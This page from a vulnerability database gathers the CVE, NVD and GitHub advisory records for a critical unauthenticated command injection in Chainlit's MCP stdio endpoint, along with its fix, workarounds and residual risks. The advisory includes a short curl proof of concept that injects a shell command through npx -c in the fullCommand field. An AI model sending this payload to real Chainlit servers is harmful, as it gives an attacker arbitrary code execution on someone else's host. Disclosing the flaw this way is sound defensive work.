Vulnerability-Lookup

CVE-2026-45018 (GCVE-0-2026-45018)

Vulnerability from cvelistv5 – Published: 2026-08-25 19:18 – Updated: 2026-08-25 19:33

Title

Chainlit: Command injection via MCP stdio transport allows unauthenticated remote code execution

Summary

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 19:33 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/Chainlit/chainlit/security/adv…	x_refsource_CONFIRM
https://github.com/Chainlit/chainlit/commit/0565f…	x_refsource_MISC
https://github.com/Chainlit/chainlit/blob/2.12.0/…	x_refsource_MISC
https://github.com/Chainlit/chainlit/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
Chainlit	chainlit	Affected: >= 2.4.0rc0, < 2.12.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45018",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-25T19:33:08.662498Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-25T19:33:30.993Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "chainlit",
          "vendor": "Chainlit",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.4.0rc0, \u003c 2.12.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T19:18:46.439Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j"
        },
        {
          "name": "https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9"
        },
        {
          "name": "https://github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-001--command-injection-via-mcp-stdio",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-001--command-injection-via-mcp-stdio"
        },
        {
          "name": "https://github.com/Chainlit/chainlit/releases/tag/2.12.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Chainlit/chainlit/releases/tag/2.12.0"
        }
      ],
      "source": {
        "advisory": "GHSA-w3fx-mc44-mf6j",
        "discovery": "UNKNOWN"
      },
      "title": "Chainlit: Command injection via MCP stdio transport allows unauthenticated remote code execution"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45018",
    "datePublished": "2026-08-25T19:18:46.439Z",
    "dateReserved": "2026-05-08T16:58:28.895Z",
    "dateUpdated": "2026-08-25T19:33:30.993Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-45018",
      "date": "2026-08-30",
      "epss": "0.00653",
      "percentile": "0.48767"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-45018\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-25T20:16:55.720\",\"lastModified\":\"2026-08-25T20:16:55.720\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"Chainlit\",\"product\":\"chainlit\",\"versions\":[{\"version\":\"\u003e= 2.4.0rc0, \u003c 2.12.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":9.8,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":5.9}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-25T19:33:08.662498Z\",\"id\":\"CVE-2026-45018\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-78\"}]}],\"references\":[{\"url\":\"https://github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-001--command-injection-via-mcp-stdio\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/Chainlit/chainlit/releases/tag/2.12.0\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-45018\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-25T19:33:08.662498Z\"}}}], \"references\": [{\"url\": \"https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-25T19:33:23.012Z\"}}], \"cna\": {\"title\": \"Chainlit: Command injection via MCP stdio transport allows unauthenticated remote code execution\", \"source\": {\"advisory\": \"GHSA-w3fx-mc44-mf6j\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 9.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"Chainlit\", \"product\": \"chainlit\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 2.4.0rc0, \u003c 2.12.0\"}]}], \"references\": [{\"url\": \"https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j\", \"name\": \"https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9\", \"name\": \"https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-001--command-injection-via-mcp-stdio\", \"name\": \"https://github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-001--command-injection-via-mcp-stdio\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/Chainlit/chainlit/releases/tag/2.12.0\", \"name\": \"https://github.com/Chainlit/chainlit/releases/tag/2.12.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-78\", \"description\": \"CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-25T19:18:46.439Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-45018\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-25T19:33:30.993Z\", \"dateReserved\": \"2026-05-08T16:58:28.895Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-25T19:18:46.439Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-45018

Vulnerability from fkie_nvd - Published: 2026-08-25 20:16 - Updated: 2026-08-25 20:16

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-001--command-injection-via-mcp-stdio
	security-advisories@github.com	https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9
	security-advisories@github.com	https://github.com/Chainlit/chainlit/releases/tag/2.12.0
	security-advisories@github.com	https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "chainlit",
          "vendor": "Chainlit",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.4.0rc0, \u003c 2.12.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0."
    }
  ],
  "id": "CVE-2026-45018",
  "lastModified": "2026-08-25T20:16:55.720",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45018",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-25T19:33:08.662498Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-25T20:16:55.720",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-001--command-injection-via-mcp-stdio"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Chainlit/chainlit/releases/tag/2.12.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-W3FX-MC44-MF6J

Vulnerability from github – Published: 2026-08-25 19:19 – Updated: 2026-08-25 19:19

Summary

Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution

Details

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions


CVE	CVE-2026-45018
Affected	`>=2.4.0rc0, <2.12.0` with `features.mcp.enabled = true` (introduced in PR #1977, the change that added MCP support)
Patched	2.12.0 (releasing 2026-08-25)

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
Restrict outbound process-spawning / network capability from the host running Chainlit.
Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "chainlit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0rc0"
            },
            {
              "fixed": "2.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T19:19:28Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Am I affected?\n\nOnly if your deployment sets `features.mcp.enabled = true` in `.chainlit/config.toml`. **MCP has been disabled by default since v2.7.0**, so most Chainlit deployments are not affected. No authentication is required: `/mcp` is reachable by any client that can open a session.\n\n### Summary\n\nWhen MCP is enabled (`features.mcp.enabled = true`), the `POST /mcp` endpoint for `stdio` transport accepts a user-controlled `fullCommand` string. The `validate_mcp_command()` function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass `npx -y -c \u0027ARBITRARY COMMAND\u0027` to execute arbitrary shell commands on the server with the privileges of the Chainlit process.\n\n\n### Affected / patched versions\n\n| | |\n|---|---|\n| CVE | CVE-2026-45018 |\n| Affected | `\u003e=2.4.0rc0, \u003c2.12.0` with `features.mcp.enabled = true` (introduced in PR #1977, the change that added MCP support) |\n| Patched | **2.12.0** (releasing 2026-08-25) |\n\n### Details\n\n`validate_mcp_command()` in `backend/chainlit/mcp.py` uses `shlex.split()` to parse the command string and validates only the executable name (e.g., `npx`, `uvx`) against `config.features.mcp.stdio.allowed_executables`. Arguments are returned unchecked and passed directly to `StdioServerParameters`, which spawns a subprocess.\n\nSince `npx` supports `-c` for arbitrary shell execution, `npx -y -c \u0027PAYLOAD\u0027` passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.\n\nThere is a related issue in the Pydantic model: `allowed_executables` defaults to `None`, and the validation code treats `None` as \"allow everything.\" If a developer removes the `allowed_executables` line from their config, any executable can be invoked.\n\nThe `/mcp` route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime `features.mcp.enabled` check and (where configured) the authentication check on `/mcp` prevent exploitation.\n\n**Vulnerable code:** `backend/chainlit/mcp.py` \u2014 `validate_mcp_command()`\n**Sink:** `backend/chainlit/server.py` \u2014 `StdioServerParameters`\n\n### PoC\n\nTested against Chainlit 2.11.0 with `features.mcp.enabled = true` and default settings.\n\n1. Establish a Socket.IO session to get a valid `sessionId`:\n\n```bash\nEIO_SID=$(curl -s \u0027http://TARGET:8000/ws/socket.io/?EIO=4\u0026transport=polling\u0027 \\\n  | python3 -c \"import sys,json; print(json.loads(sys.stdin.read()[1:])[\u0027sid\u0027])\")\n\ncurl -s -X POST \\\n  \"http://TARGET:8000/ws/socket.io/?EIO=4\u0026transport=polling\u0026sid=$EIO_SID\" \\\n  -d \u002740{\"sessionId\":\"rce-proof\",\"userEnv\":\"{}\",\"clientType\":\"webapp\"}\u0027\n```\n\n2. Send the command injection payload:\n\n```bash\ncurl -s -X POST \u0027http://TARGET:8000/mcp\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"sessionId\": \"rce-proof\",\n    \"clientType\": \"stdio\",\n    \"name\": \"poc\",\n    \"fullCommand\": \"npx -y -c \u0027\\\u0027\u0027id \u003e /tmp/rce_proof\u0027\\\u0027\u0027\"\n  }\u0027\n```\n\nThe server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.\n\n### Impact\n\n**Critical.** An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.\n\n### Fix\n\nChainlit 2.12.0 removes `fullCommand` from the client request entirely. stdio MCP servers are now declared by the developer in `.chainlit/config.toml` under `[[features.mcp.servers]]` and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no `allowed_executables` mechanism anymore. Per-server environment variables are configured via an `env` mapping on the server entry rather than supplied by the client.\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\n- Set `features.mcp.enabled = false` in `.chainlit/config.toml`. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).\n- Restrict outbound process-spawning / network capability from the host running Chainlit.\n- Configure authentication (register an auth callback) so that `/mcp` requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.\n\n### Upgrading to 2.12.0\n\n\u003e **Breaking change.** 2.12.0 changes how MCP servers are configured. If `.chainlit/config.toml` still uses the legacy `[features.mcp.sse]`, `[features.mcp.stdio]`, or `[features.mcp.streamable-http]` sections, or the `allowed_executables` setting, the application will fail to start **once MCP is enabled**, until you migrate to the new `[[features.mcp.servers]]` configuration. See the migration guide in `CHANGELOG.md` before upgrading. Deployments with `features.mcp.enabled = false` are not affected by this startup check.\n\n### Residual risk after upgrading\n\n- On deployments with no authentication configured, `/mcp` remains reachable anonymously after upgrading, because `get_current_user` returns `None` when no auth callback is registered. An anonymous client can therefore still cause **developer-configured** stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution \u2014 but it is still unauthenticated process spawning on deployments without authentication.\n- No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.\n\n### Credits\n\nVipin \u003cvipin@spl.team\u003e\nSPL \u003csecurity@spl.team\u003e",
  "id": "GHSA-w3fx-mc44-mf6j",
  "modified": "2026-08-25T19:19:28Z",
  "published": "2026-08-25T19:19:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Chainlit/chainlit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chainlit/chainlit/releases/tag/2.12.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-45018 (GCVE-0-2026-45018)

FKIE_CVE-2026-45018

GHSA-W3FX-MC44-MF6J

Am I affected?

Summary

Affected / patched versions

Details

PoC

Impact

Fix

Workarounds

Upgrading to 2.12.0

Residual risk after upgrading

Credits

Tags

Sightings

Nomenclature